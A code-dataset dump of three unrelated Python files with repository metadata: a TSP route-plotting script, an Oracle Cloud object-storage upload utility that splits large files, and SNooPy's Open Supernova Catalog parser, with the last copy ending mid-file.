""" TSP SIMULATED ANNEALING """ # Imports import matplotlib.pyplot as plt import pandas as pd import numpy as np # read data from file filename = "eil51.tsp" f = open(f"TSP-configurations/{filename}.txt", "r") network = f.readlines()[6:-1] # create dictionary to store coordinates nodes = dict() # split data and put in dict for node in network: node = [int(x) for x in node.rstrip().split(' ')] nodes[node[0]] = node[1:] x = [x[0] for x in nodes.values()] y = [y[1] for y in nodes.values()] # load in data of optimal path data = pd.read_csv("data/eil51.tsp.tsp-batch-20.txt", sep="\t") colname = "428.87" z = list(map(float,list(data[f'{colname}-19']))) # optimum so far (costs = 428.87175639203394) # r= [1.0, 32, 11, 38, 5, 37, 17, 4, 18, 47, 12, 46, 51.0, 27, 6, 48, 23, 7, 43, 24, 14, 25, 13, 41, 40, 19, 42, 44, 15, 45, 33, 39, 10, 49, 9, 30, 34, 21, 50, 16, 2, 29, 20, 35, 36, 3, 28, 31, 26, 8, 22, 1.0] temp = [] # get coordinates of each point for item in z: temp.append(nodes[item]) temp = np.array(temp) # path = [temp[i:i+2] for i in range(len(temp)-2+1)] # print(path) # Plot the nodes and coordinates fig, ax = plt.subplots() ax.scatter(x, y, color="deeppink") for i, txt in enumerate(nodes.keys()): ax.annotate(txt, (x[i], y[i])) ax.plot(*temp.T, color="deeppink", alpha=0.5) ax.set_title(f"Shortest Route: {filename}, costs: {colname}", fontsize=16) # plt.savefig("plots/eil51-opt-route-3.png") plt.show()

25.508772

209

0.636176

""" TSP SIMULATED ANNEALING """ # Imports import matplotlib.pyplot as plt import pandas as pd import numpy as np # read data from file filename = "eil51.tsp" f = open(f"TSP-configurations/{filename}.txt", "r") network = f.readlines()[6:-1] # create dictionary to store coordinates nodes = dict() # split data and put in dict for node in network: node = [int(x) for x in node.rstrip().split(' ')] nodes[node[0]] = node[1:] x = [x[0] for x in nodes.values()] y = [y[1] for y in nodes.values()] # load in data of optimal path data = pd.read_csv("data/eil51.tsp.tsp-batch-20.txt", sep="\t") colname = "428.87" z = list(map(float,list(data[f'{colname}-19']))) # optimum so far (costs = 428.87175639203394) # r= [1.0, 32, 11, 38, 5, 37, 17, 4, 18, 47, 12, 46, 51.0, 27, 6, 48, 23, 7, 43, 24, 14, 25, 13, 41, 40, 19, 42, 44, 15, 45, 33, 39, 10, 49, 9, 30, 34, 21, 50, 16, 2, 29, 20, 35, 36, 3, 28, 31, 26, 8, 22, 1.0] temp = [] # get coordinates of each point for item in z: temp.append(nodes[item]) temp = np.array(temp) # path = [temp[i:i+2] for i in range(len(temp)-2+1)] # print(path) # Plot the nodes and coordinates fig, ax = plt.subplots() ax.scatter(x, y, color="deeppink") for i, txt in enumerate(nodes.keys()): ax.annotate(txt, (x[i], y[i])) ax.plot(*temp.T, color="deeppink", alpha=0.5) ax.set_title(f"Shortest Route: {filename}, costs: {colname}", fontsize=16) # plt.savefig("plots/eil51-opt-route-3.png") plt.show()

0

35b4a123604f3ad39f518c8cd7cd58c05193a395

7,579

py

Python

common-python/rest_wrappers/oc/oc/upload_storage_object.py

LaudateCorpus1/atg-commerce-iaas

f1ae31657fc0111a5c019d46a28a3c81aae1acb2

[ "MIT" ]

28

2016-11-07T14:03:25.000Z

2022-02-01T08:46:52.000Z

common-python/rest_wrappers/oc/oc/upload_storage_object.py

LaudateCorpus1/atg-commerce-iaas

f1ae31657fc0111a5c019d46a28a3c81aae1acb2

[ "MIT" ]

3

2016-11-09T13:23:03.000Z

2018-04-05T15:49:22.000Z

common-python/rest_wrappers/oc/oc/upload_storage_object.py

LaudateCorpus1/atg-commerce-iaas

f1ae31657fc0111a5c019d46a28a3c81aae1acb2

[ "MIT" ]

13

2016-10-27T17:59:38.000Z

2022-02-18T04:38:38.000Z

#!/usr/bin/python # Copyright (c) 2013, 2014-2017 Oracle and/or its affiliates. All rights reserved. """Provide Module Description """ # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# __author__ = "Andrew Hopkinson (Oracle Cloud Solutions A-Team)" __copyright__ = "Copyright (c) 2013, 2014-2017 Oracle and/or its affiliates. All rights reserved." __ekitversion__ = "@VERSION@" __ekitrelease__ = "@RELEASE@" __version__ = "1.0.0.0" __date__ = "@BUILDDATE@" __status__ = "Development" __module__ = "upload_storage_object" # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# import sys # Import utility methods # Define methods # Read Module Arguments # Main processing function # Main function to kick off processing if __name__ == "__main__": main(sys.argv[1:])

35.919431

197

0.613933

#!/usr/bin/python # Copyright (c) 2013, 2014-2017 Oracle and/or its affiliates. All rights reserved. """Provide Module Description """ # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# __author__ = "Andrew Hopkinson (Oracle Cloud Solutions A-Team)" __copyright__ = "Copyright (c) 2013, 2014-2017 Oracle and/or its affiliates. All rights reserved." __ekitversion__ = "@VERSION@" __ekitrelease__ = "@RELEASE@" __version__ = "1.0.0.0" __date__ = "@BUILDDATE@" __status__ = "Development" __module__ = "upload_storage_object" # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# import datetime import getopt import hashlib import json import locale import logging import multiprocessing import operator import os import requests import shutil import subprocess import sys import tempfile from contextlib import closing # Import utility methods from oscsutils import callRESTApi from oscsutils import getPassword from oscsutils import printJSON from authenticate_oscs import authenticate from oc_exceptions import REST401Exception # Define methods def md5(fname, readbuf=104857600, **kwargs): hash_md5 = hashlib.md5() cnt = 1 with open(fname, "rb") as f: for chunk in iter(lambda: f.read(readbuf), b""): hash_md5.update(chunk) #print('Chunk: '+str(cnt)) cnt +=1 return hash_md5.hexdigest() def getsplitprefix(filename): return os.path.split(filename)[-1] + '-' def getsplitdir(filename): return filename + '.split' def splitfile(filename, size='5GB', **kwargs): files = [] if filename is not None: splitdir = getsplitdir(filename) os.makedirs(splitdir) prefix = os.path.join(splitdir, getsplitprefix(filename)) cmd = ['split', '-b', size, filename, prefix] cmdEnv = dict(os.environ) outputLines = [] with closing(tempfile.TemporaryFile()) as fout: try: outputLines = subprocess.check_output(cmd, env=cmdEnv, stderr=fout).splitlines() except subprocess.CalledProcessError as e: fout.flush() fout.seek(0) print(fout.read()) print('\n'.join(outputLines)) raise e return [os.path.join(splitdir, fn) for fn in os.listdir(splitdir)] def uploadfile((endpoint, basepath, authtoken, filename, authendpoint, user, password, headers, params)): print('Uploading : ' + filename) files = None resourcename = os.path.split(filename)[-1] try: with closing(open(filename, 'rb')) as f: response = callRESTApi(endpoint, basepath, resourcename, method='PUT', authtoken=authtoken, headers=headers, params=params, data=f, files=files) except REST401Exception as e: # Reauthenticate and retry if authendpoint is not None and user is not None and password is not None: authtoken, endpoint = authenticate(authendpoint, user, password) with closing(open(filename, 'rb')) as f: response = callRESTApi(endpoint, basepath, resourcename, method='PUT', authtoken=authtoken, headers=headers, params=params, data=f, files=files) else: raise print('Uploaded : ' + filename) return def uploadStorageObject(endpoint, container='compute_images', authtoken=None, filename=None, splitsize=4000, poolsize=4, authendpoint=None, user=None, password=None, extractarchive=None, **kwargs): basepath = container imgbasepath = basepath splitbasepath = basepath + '_segments' headers = None params = None if extractarchive is not None: if params is None: params = {} params['extract-archive'] = extractarchive data = None files = None jsonResponse = '' if filename is not None and os.path.exists(filename): #md5hash = md5(filename) filesize = os.path.getsize(filename) filesize /= (1024 * 1024) if filesize > splitsize: print('Splitting : ' + filename) filelist = splitfile(filename, str(splitsize) + 'MB') print('Into ' + str(len(filelist)) + ' segments') basepath = splitbasepath + '/' + os.path.split(filename)[-1] + '/_segment_' pool = multiprocessing.Pool(poolsize) # Build tupal list workerdata = [] for fn in filelist: workerdata.append([endpoint, basepath, authtoken, fn, authendpoint, user, password, headers, params]) #print(workerdata) # Start processes pool.map(uploadfile, workerdata) # Upload manifest file to point to parts manifest = basepath + '/' + getsplitprefix(filename) resourcename = os.path.split(filename)[-1] headers = {'Content-Length': "0", 'X-Object-Manifest': manifest} printJSON(headers) data = None basepath = imgbasepath try: response = callRESTApi(endpoint, basepath, resourcename, method='PUT', authtoken=authtoken, headers=headers, params=params, data=data, files=files) except REST401Exception as e: # Reauthenticate and retry if authendpoint is not None and user is not None and password is not None: authtoken, endpoint = authenticate(authendpoint, user, password) response = callRESTApi(endpoint, basepath, resourcename, method='PUT', authtoken=authtoken, headers=headers, params=params, data=data, files=files) else: raise # Remove splitfiles splitdir = getsplitdir(filename) shutil.rmtree(splitdir) else: # Simple single file upload basepath = imgbasepath # Upload file print('Uploading : ' + filename) resourcename = os.path.split(filename)[-1] with closing(open(filename, 'rb')) as f: response = callRESTApi(endpoint, basepath, resourcename, method='PUT', authtoken=authtoken, headers=headers, params=params, data=f, files=files) print('Uploaded : ' + filename) jsonResponse = response.text return jsonResponse # Read Module Arguments def readModuleArgs(opts, args): moduleArgs = {} moduleArgs['endpoint'] = None moduleArgs['user'] = None moduleArgs['password'] = None moduleArgs['pwdfile'] = None # Read Module Command Line Arguments. for opt, arg in opts: if opt in ("-e", "--endpoint"): moduleArgs['endpoint'] = arg elif opt in ("-u", "--user"): moduleArgs['user'] = arg elif opt in ("-p", "--password"): moduleArgs['password'] = arg elif opt in ("-P", "--pwdfile"): moduleArgs['pwdfile'] = arg return moduleArgs # Main processing function def main(argv): # Configure Parameters and Options options = 'e:u:p:P:' longOptions = ['endpoint=', 'user=', 'password=', 'pwdfile='] # Get Options & Arguments try: opts, args = getopt.getopt(argv, options, longOptions) # Read Module Arguments moduleArgs = readModuleArgs(opts, args) except getopt.GetoptError: usage() except Exception as e: print('Unknown Exception please check log file') logging.exception(e) sys.exit(1) return # Main function to kick off processing if __name__ == "__main__": main(sys.argv[1:])

0

6,118

0

-2

601

70aa394b1e7534f0761f177159418f6363ceeb78

14,891

py

Python

snpy/get_osc.py

emirkmo/snpy

2a0153c84477ba8a30310d7dbca3d5a8f24de3c6

[ "MIT" ]

6

2019-01-14T19:40:45.000Z

2021-06-05T12:19:39.000Z

snpy/get_osc.py

emirkmo/snpy

2a0153c84477ba8a30310d7dbca3d5a8f24de3c6

[ "MIT" ]

3

2017-04-25T20:06:22.000Z

2021-06-09T20:46:41.000Z

snpy/get_osc.py

emirkmo/snpy

2a0153c84477ba8a30310d7dbca3d5a8f24de3c6

[ "MIT" ]

8

2017-04-25T19:57:57.000Z

2021-11-12T11:54:19.000Z

''' Module for SNooPy to download/parse data from the Open Supernova Catalog. ''' from __future__ import print_function import six import json if six.PY3: import urllib.request as urllib else: import urllib from astropy.coordinates import Angle from snpy import sn, lc, fset from numpy import array, log10 import astropy.units as u from snpy.filters import spectrum from snpy.specobj import timespec # Some well-known publications and their mappings: pubs = { '1999AJ....117..707R': # Riess et al. (1999) Standard Photometry CfAbands, '2006AJ....131..527J': # Jha et al. (2006) Standard Photometry CfAbands, '2009ApJ...700..331H': # Hicken et al. (2009) CfA3 Natural Photometry CfAbands, '2012ApJS..200...12H': # Hicken et al. (2012) CfA4 Natural Photometry CfAbands } # telescope,band --> SNooPy filter database # We do this by matching (band,system,telescope,observatory) info from the # database to SNooPy filters. ftrans = {} ftrans_standard = {} standard_warnings = {} for band in ['u','g','r','i','B','V','Y','J','H','K']: ftrans[(band,"CSP",'',"LCO")] = band for band in ['U','B','V','R','I']: ftrans[(band,'','kait2','')] = band+'kait' for band in ['U','B','V','R','I']: ftrans[(band,'','kait3','')] = band+'kait' for band in ['J','H','Ks']: ftrans[(band,'','PAIRITEL','')] = band+'2m' for band in ['B','V','R','I']: ftrans[(band,'','kait4', '')] = band+'kait' for band in ['U','V','B']: ftrans[(band, 'Vega','Swift','')] = band+"_UVOT" for band in ['UVW1','UVW2','UVM2']: ftrans[(band, 'Vega','Swift','')] = band for band in ['g','r','i','z']: ftrans[(band, '', 'PS1','')] = "ps1_"+band # These are for data in (what I'm assuming) would be standard filters. # We will issue a warning, though. for band in ['U','B','V','R','I']: ftrans_standard[(band,'','','')] = band+"s" standard_warnings[band] = "Johnson/Kron/Cousins " for band in ['u','g','r','i','z']: ftrans_standard[(band,'','','')] = band+"_40" standard_warnings[band] = "Sloan (APO) " for band in ["u'","g'","r'","i'","z'"]: ftrans_standard[(band,'','','')] = band[0]+"_40" standard_warnings[band] = "Sloan (USNO-40) " for band in ["J","H","Ks"]: ftrans_standard[(band[0],'','','')] = band+"2m" standard_warnings[band[0]] = "2MASS " # Our own photometric systems: def CSP_systems(filt, MJD): '''Given a filter name and MJD date, output the correct telescope and system information.''' if filt == "V": if MJD < 53748.0: return (dict(telescope='Swope',instrument='Site2',band='V-3014', zeropoint="{:.4f}".format(fset['V0'].zp))) elif MJD < 53759.0: return (dict(telescope='Swope',instrument='Site2',band='V-3009', zeropoint="{:.4f}".format(fset['V1'].zp))) elif MJD < 56566.0: return (dict(telescope='Swope',instrument='Site2',band='V-9844', zeropoint="{:.4f}".format(fset['V'].zp))) else: return (dict(telescope='Swope',instrument='e2v',band='V-9844', zeropoint="{:.4f}".format(fset['V2'].zp))) if filt == "Jrc2": return (dict(telescope='Swope',instrument='RetroCam',band='J', zeropoint="{:.4f}".format(fset[filt].zp))) if filt in ['u','g','r','i','B']: if MJD < 56566.0: return (dict(telescope='Swope',instrument='Site2',band=filt, zeropoint="{:.4f}".format(fset[filt].zp))) else: return (dict(telescope='Swope',instrument='e2v',band=filt, zeropoint="{:.4f}".format(fset[filt+'2'].zp))) if filt in ['Y','J','H']: if MJD < 55743.0: return (dict(telescope='Swope',instrument='RetroCam',band=filt, zeropoint="{:.4f}".format(fset[filt].zp))) else: return (dict(telescope='DuPont',instrument='RetroCam',band=filt, zeropoint="{:.4f}".format(fset[filt+'d'].zp))) return({}) MJD_offsets = { 'MJD':0, 'JD':-2400000.5 } warning_message = { 'upperlims_noerr':'Warning: Data lacking errorbars or with upper-limits not imported', 'upperlims':'Warning: Data with upper-limits not imported', } OSC_template = '''https://sne.space/astrocats/astrocats/supernovae/output/json/{}.json''' def get_obj(url, full_data=True, allow_no_errors=False, missing_error=0.01): '''Attempt to build a SNooPy object from a Open Supernova Catalog server URL.''' if url.find('osc:') == 0: # Try to construct a url based only on a name. url = OSC_template.format(url.split(':')[1]) try: uf = urllib.urlopen(url) except: return None,"Invalid URL" try: d = json.load(uf) except: uf.close() if full_data: return None,"Failed to decode JSON",None return None,"Failed to decode JSON" else: uf.close() # We now have the JSON data. Get the info we need d = list(d.values())[0] name = d['name'] if 'redshift' not in d or 'ra' not in d or 'dec' not in d: return None,"No redshift, RA, or DEC found" zhel = float(d['redshift'][0]['value']) ra = Angle(" ".join([d['ra'][0]['value'],d['ra'][0]['u_value']])).degree decl = Angle(" ".join([d['dec'][0]['value'],d['dec'][0]['u_value']])).degree snobj = sn(name, ra=ra, dec=decl, z=zhel) # All primary sources all_sources_dict = [item for item in d['sources'] \ if not item.get('secondary',False)] all_sources_dict2 = [item for item in d['sources'] \ if item.get('secondary',False)] all_sources = {} for source in all_sources_dict: all_sources[source['alias']] = (source.get('bibcode',''), source.get('reference','')) all_sources2 = {} for source in all_sources_dict2: all_sources2[source['alias']] = (source.get('bibcode',''), source.get('reference','')) # Next, the photometry. used_sources = [] MJD = {} mags = {} emags = {} sids = {} known_unknowns = [] unknown_unknowns = [] warnings = [] photometry = d.get('photometry', []) for p in photometry: if p.get('upperlimit',False): continue t = (p.get('band',''),p.get('system',''),p.get('telescope',''), p.get('observatory','')) # Deal with source of photometry ss = p.get('source').split(',') this_source = None for s in ss: if s in all_sources: this_source = all_sources[s] break if this_source is None: for s in ss: if s in all_sources2: this_source = all_sources2[s] if this_source is None: print("Warning: no primary source, skipping") continue bibcode = this_source[0] if bibcode in pubs: b = pubs[bibcode](t[0],float(p['time'])) elif t in ftrans: b = ftrans[t] elif t in ftrans_standard: b = ftrans_standard[t] if t not in known_unknowns: known_unknowns.append(t) print("Warning: no telescope/system info, assuming ", \ standard_warnings[b[0]], b[0]) elif (t[0],"","","") in ftrans_standard: b = ftrans_standard[(t[0],"","","")] if t not in known_unknowns: known_unknowns.append(t) print("Warning: telescope/system defined by %s/%s/%s not "\ "recognized, assuming %s %s" %\ (t[1],t[2],t[3],standard_warnings[t[0]],t[0])) else: # No idea if t not in unknown_unknowns: unknown_unknowns.append(t) print("Warning: telescope/system defined by %s/%s/%s not "\ "recognized and can't figure out the filter %s" % \ (t[1],t[2],t[3],t[0])) unknown_unknowns.append(t) continue if b not in MJD: MJD[b] = [] mags[b] = [] emags[b] = [] sids[b] = [] if 'time' in p and 'magnitude' in p: if not allow_no_errors and 'e_magnitude' not in p and\ 'e_lower_magnitude' not in p and 'e_upper_magnitude' not in p: if 'upperlims' not in warnings: warnings.append('upperlims') continue MJD[b].append(float(p['time'])) mags[b].append(float(p['magnitude'])) if 'e_magnitude' in p: emags[b].append(float(p['e_magnitude'])) elif 'e_lower_magnitude' in p and 'e_upper_magnitude' in p: emags[b].append((float(p['e_lower_magnitude']) +\ float(p['e_upper_magnitude']))/2) else: emags[b].append(missing_error) elif 'time' in p and 'countrate' in p and 'zeropoint' in p: if not allow_no_errors and 'e_countrate' not in p: if 'upperlims' not in warnings: warnings.append('upperlims') continue if float(p['countrate']) < 0: continue MJD[b].append(float(p['time'])) mags[b].append(-2.5*log10(float(p['countrate'])) + \ float(p['zeropoint'])) ec = p.get('e_countrate',None) if ec is not None: emags[b].append(1.087*float(p['e_countrate'])/float(p['countrate'])) else: emags[b].append(missing_error) else: if 'upperlims_noerr' not in warnings: warnings.append('upperlims_noerr') continue if this_source not in used_sources: used_sources.append(this_source) # At this point we're actually using the photometry, so find source sid = used_sources.index(this_source) sids[b].append(sid) for b in MJD: if len(MJD[b]) > 0: snobj.data[b] = lc(snobj, b, array(MJD[b]), array(mags[b]), array(emags[b]), sids=array(sids[b], dtype=int)) snobj.data[b].time_sort() snobj.sources = used_sources snobj.get_restbands() if len(unknown_unknowns) > 0: unknown_unknowns = list(set(unknown_unknowns)) print("Warning: the following photometry was not recognized by SNooPy") print("and was not imported:") for item in unknown_unknowns: print(item) if warnings: for warning in warnings: print(warning_message[warning]) # lastly, the spectroscopy if d.get('spectra',None) is not None: spectra = [] dates = [] sids = [] for s in d['spectra']: wu = s.get('u_wavelengths', 'Agnstrom') fu = s.get('u_fluxes', 'Uncalibrated') try: wu = u.Unit(wu) except ValueError: print("Warning: unrecognized unit for wavelength: {}".format(wu)) print(" assuming Angstroms") wu = u.Angstrom if fu == 'Uncalibrated': fluxed = False fu = u.dimensionless_unscaled else: try: fu = u.Unit(fu) fluxed = True except ValueError: print("Warning: unrecognized unit for flux: {}".format(fu)) fluxed = False fu = u.dimensionless_unscaled tu = s.get('u_time', 'MJD') t = float(s['time']) if tu not in MJD_offsets: print("Warning: unrecognized time unit: {}".format(tu)) if len(s['time'].split('.')[0]) == 7 and s['time'][0] == '2': print(" assuming JD") t = t - 2400000.5 elif len(s['time'].split('.')[0]) == 5 and s['time'][0] == '5': print(" assuming MJD") else: print(" skipping this spectrum.") continue w = array([float(item[0]) for item in s['data']])*wu f = array([float(item[1]) for item in s['data']])*fu dr = s.get('deredshifted', False) if dr: w = w*(1+zhel) # At this point, we should be able to convert to the units we want w = w.to('Angstrom').value if fluxed: f = f.to('erg / (s cm2 Angstrom)') f = f.value # source reference srcs = s.get('source','').split(',') this_source = None for src in srcs: if src in all_sources: this_source = all_sources[src] break if this_source is None: print("Warning: spectrum has no source") if this_source not in used_sources: used_sources.append(this_source) # At this point we're actually using the spectroscopy, so find source sid = used_sources.index(this_source) sids.append(sid) spectra.append(spectrum(wave=w, flux=f, fluxed=fluxed, name="Spectrum MJD={:.1f}".format(t))) dates.append(t) snobj.sdata = timespec(snobj, dates, spectra) snobj.sdata.sids = sids if full_data: # make a dictionary of the remaining OSC meta data and make it a member # variable snobj.osc_meta = {} for key in d.keys(): if key not in ['name','redshift','ra','dec','sources','photometry', 'spectra']: snobj.osc_meta[key] = d[key] return(snobj,'Success') def to_osc(s, ref=None, bibcode=None, source=1): '''Given a supernova object, s, output to JSON format suitable for upload to the OSC.''' data = {s.name:{"name":s.name}} if ref or bibcode: sources = [dict(bibcode=bibcode, name=ref, alias=str(source))] data['sources'] = sources phot = [] for filt in s.data: for i in range(len(s.data[filt].MJD)): datum = dict(survey='CSP', observatory='LCO') datum.update(CSP_systems(filt, s.data[filt].MJD[i])) datum['time'] = "{:.3f}".format(s.data[filt].MJD[i]) datum['u_time'] = "MJD" datum['magnitude'] = "{:.3f}".format(s.data[filt].mag[i]) flux,eflux = s.data[filt].flux[i],s.data[filt].e_flux[i] datum['flux'] = "{:.5f}".format(flux) datum['u_flux'] = "s^-1 cm^-2" datum['e_flux'] = "{:.5f}".format(eflux) datum['e_upper_magnitude'] = "{:.3f}".format( -2.5*log10((flux-eflux)/flux)) datum['e_lower_magnitude'] = "{:.3f}".format( -2.5*log10(flux/(flux+eflux))) datum['source'] = "{}".format(source) phot.append(datum) data['photometry'] = phot return json.dumps(data, indent=4)

36.05569

92

0.555906

''' Module for SNooPy to download/parse data from the Open Supernova Catalog. ''' from __future__ import print_function import six import json if six.PY3: import urllib.request as urllib else: import urllib from astropy.coordinates import Angle from snpy import sn,lc,fset from numpy import array,log10 import astropy.units as u from snpy.filters import spectrum from snpy.specobj import timespec def CfAbands(filt, MJD): if MJD < 51913.0: return filt[0]+'s' # standard photometry elif 51913.0 < MJD < 55058: if filt[0] == 'U': return 'U4sh' if filt[0] == 'I': return 'I4sh' if filt[0] == 'R': return 'R4sh' return filt[0]+'k1' # natural photometry CfA3 + CfA4 period 1 else: if filt[0] == 'U': return 'U4sh' if filt[0] == 'I': return 'I4sh' if filt[0] == 'R': return 'R4sh' return filt[0]+'k2' # natural photometry CfA4 period 2 # Some well-known publications and their mappings: pubs = { '1999AJ....117..707R': # Riess et al. (1999) Standard Photometry CfAbands, '2006AJ....131..527J': # Jha et al. (2006) Standard Photometry CfAbands, '2009ApJ...700..331H': # Hicken et al. (2009) CfA3 Natural Photometry CfAbands, '2012ApJS..200...12H': # Hicken et al. (2012) CfA4 Natural Photometry CfAbands } # telescope,band --> SNooPy filter database # We do this by matching (band,system,telescope,observatory) info from the # database to SNooPy filters. ftrans = {} ftrans_standard = {} standard_warnings = {} for band in ['u','g','r','i','B','V','Y','J','H','K']: ftrans[(band,"CSP",'',"LCO")] = band for band in ['U','B','V','R','I']: ftrans[(band,'','kait2','')] = band+'kait' for band in ['U','B','V','R','I']: ftrans[(band,'','kait3','')] = band+'kait' for band in ['J','H','Ks']: ftrans[(band,'','PAIRITEL','')] = band+'2m' for band in ['B','V','R','I']: ftrans[(band,'','kait4', '')] = band+'kait' for band in ['U','V','B']: ftrans[(band, 'Vega','Swift','')] = band+"_UVOT" for band in ['UVW1','UVW2','UVM2']: ftrans[(band, 'Vega','Swift','')] = band for band in ['g','r','i','z']: ftrans[(band, '', 'PS1','')] = "ps1_"+band # These are for data in (what I'm assuming) would be standard filters. # We will issue a warning, though. for band in ['U','B','V','R','I']: ftrans_standard[(band,'','','')] = band+"s" standard_warnings[band] = "Johnson/Kron/Cousins " for band in ['u','g','r','i','z']: ftrans_standard[(band,'','','')] = band+"_40" standard_warnings[band] = "Sloan (APO) " for band in ["u'","g'","r'","i'","z'"]: ftrans_standard[(band,'','','')] = band[0]+"_40" standard_warnings[band] = "Sloan (USNO-40) " for band in ["J","H","Ks"]: ftrans_standard[(band[0],'','','')] = band+"2m" standard_warnings[band[0]] = "2MASS " # Our own photometric systems: def CSP_systems(filt, MJD): '''Given a filter name and MJD date, output the correct telescope and system information.''' if filt == "V": if MJD < 53748.0: return (dict(telescope='Swope',instrument='Site2',band='V-3014', zeropoint="{:.4f}".format(fset['V0'].zp))) elif MJD < 53759.0: return (dict(telescope='Swope',instrument='Site2',band='V-3009', zeropoint="{:.4f}".format(fset['V1'].zp))) elif MJD < 56566.0: return (dict(telescope='Swope',instrument='Site2',band='V-9844', zeropoint="{:.4f}".format(fset['V'].zp))) else: return (dict(telescope='Swope',instrument='e2v',band='V-9844', zeropoint="{:.4f}".format(fset['V2'].zp))) if filt == "Jrc2": return (dict(telescope='Swope',instrument='RetroCam',band='J', zeropoint="{:.4f}".format(fset[filt].zp))) if filt in ['u','g','r','i','B']: if MJD < 56566.0: return (dict(telescope='Swope',instrument='Site2',band=filt, zeropoint="{:.4f}".format(fset[filt].zp))) else: return (dict(telescope='Swope',instrument='e2v',band=filt, zeropoint="{:.4f}".format(fset[filt+'2'].zp))) if filt in ['Y','J','H']: if MJD < 55743.0: return (dict(telescope='Swope',instrument='RetroCam',band=filt, zeropoint="{:.4f}".format(fset[filt].zp))) else: return (dict(telescope='DuPont',instrument='RetroCam',band=filt, zeropoint="{:.4f}".format(fset[filt+'d'].zp))) return({}) MJD_offsets = { 'MJD':0, 'JD':-2400000.5 } warning_message = { 'upperlims_noerr':'Warning: Data lacking errorbars or with upper-limits not imported', 'upperlims':'Warning: Data with upper-limits not imported', } OSC_template = '''https://sne.space/astrocats/astrocats/supernovae/output/json/{}.json''' def get_obj(url, full_data=True, allow_no_errors=False, missing_error=0.01): '''Attempt to build a SNooPy object from a Open Supernova Catalog server URL.''' if url.find('osc:') == 0: # Try to construct a url based only on a name. url = OSC_template.format(url.split(':')[1]) try: uf = urllib.urlopen(url) except: return None,"Invalid URL" try: d = json.load(uf) except: uf.close() if full_data: return None,"Failed to decode JSON",None return None,"Failed to decode JSON" else: uf.close() # We now have the JSON data. Get the info we need d = list(d.values())[0] name = d['name'] if 'redshift' not in d or 'ra' not in d or 'dec' not in d: return None,"No redshift, RA, or DEC found" zhel = float(d['redshift'][0]['value']) ra = Angle(" ".join([d['ra'][0]['value'],d['ra'][0]['u_value']])).degree decl = Angle(" ".join([d['dec'][0]['value'],d['dec'][0]['u_value']])).degree snobj = sn(name, ra=ra, dec=decl, z=zhel) # All primary sources all_sources_dict = [item for item in d['sources'] \ if not item.get('secondary',False)] all_sources_dict2 = [item for item in d['sources'] \ if item.get('secondary',False)] all_sources = {} for source in all_sources_dict: all_sources[source['alias']] = (source.get('bibcode',''), source.get('reference','')) all_sources2 = {} for source in all_sources_dict2: all_sources2[source['alias']] = (source.get('bibcode',''), source.get('reference','')) # Next, the photometry. used_sources = [] MJD = {} mags = {} emags = {} sids = {} known_unknowns = [] unknown_unknowns = [] warnings = [] photometry = d.get('photometry', []) for p in photometry: if p.get('upperlimit',False): continue t = (p.get('band',''),p.get('system',''),p.get('telescope',''), p.get('observatory','')) # Deal with source of photometry ss = p.get('source').split(',') this_source = None for s in ss: if s in all_sources: this_source = all_sources[s] break if this_source is None: for s in ss: if s in all_sources2: this_source = all_sources2[s] if this_source is None: print("Warning: no primary source, skipping") continue bibcode = this_source[0] if bibcode in pubs: b = pubs[bibcode](t[0],float(p['time'])) elif t in ftrans: b = ftrans[t] elif t in ftrans_standard: b = ftrans_standard[t] if t not in known_unknowns: known_unknowns.append(t) print("Warning: no telescope/system info, assuming ", \ standard_warnings[b[0]], b[0]) elif (t[0],"","","") in ftrans_standard: b = ftrans_standard[(t[0],"","","")] if t not in known_unknowns: known_unknowns.append(t) print("Warning: telescope/system defined by %s/%s/%s not "\ "recognized, assuming %s %s" %\ (t[1],t[2],t[3],standard_warnings[t[0]],t[0])) else: # No idea if t not in unknown_unknowns: unknown_unknowns.append(t) print("Warning: telescope/system defined by %s/%s/%s not "\ "recognized and can't figure out the filter %s" % \ (t[1],t[2],t[3],t[0])) unknown_unknowns.append(t) continue if b not in MJD: MJD[b] = [] mags[b] = [] emags[b] = [] sids[b] = [] if 'time' in p and 'magnitude' in p: if not allow_no_errors and 'e_magnitude' not in p and\ 'e_lower_magnitude' not in p and 'e_upper_magnitude' not in p: if 'upperlims' not in warnings: warnings.append('upperlims') continue MJD[b].append(float(p['time'])) mags[b].append(float(p['magnitude'])) if 'e_magnitude' in p: emags[b].append(float(p['e_magnitude'])) elif 'e_lower_magnitude' in p and 'e_upper_magnitude' in p: emags[b].append((float(p['e_lower_magnitude']) +\ float(p['e_upper_magnitude']))/2) else: emags[b].append(missing_error) elif 'time' in p and 'countrate' in p and 'zeropoint' in p: if not allow_no_errors and 'e_countrate' not in p: if 'upperlims' not in warnings: warnings.append('upperlims') continue if float(p['countrate']) < 0: continue MJD[b].append(float(p['time'])) mags[b].append(-2.5*log10(float(p['countrate'])) + \ float(p['zeropoint'])) ec = p.get('e_countrate',None) if ec is not None: emags[b].append(1.087*float(p['e_countrate'])/float(p['countrate'])) else: emags[b].append(missing_error) else: if 'upperlims_noerr' not in warnings: warnings.append('upperlims_noerr') continue if this_source not in used_sources: used_sources.append(this_source) # At this point we're actually using the photometry, so find source sid = used_sources.index(this_source) sids[b].append(sid) for b in MJD: if len(MJD[b]) > 0: snobj.data[b] = lc(snobj, b, array(MJD[b]), array(mags[b]), array(emags[b]), sids=array(sids[b], dtype=int)) snobj.data[b].time_sort() snobj.sources = used_sources snobj.get_restbands() if len(unknown_unknowns) > 0: unknown_unknowns = list(set(unknown_unknowns)) print("Warning: the following photometry was not recognized by SNooPy") print("and was not imported:") for item in unknown_unknowns: print(item) if warnings: for warning in warnings: print(warning_message[warning]) # lastly, the spectroscopy if d.get('spectra',None) is not None: spectra = [] dates = [] sids = [] for s in d['spectra']: wu = s.get('u_wavelengths', 'Agnstrom') fu = s.get('u_fluxes', 'Uncalibrated') try: wu = u.Unit(wu) except ValueError: print("Warning: unrecognized unit for wavelength: {}".format(wu)) print(" assuming Angstroms") wu = 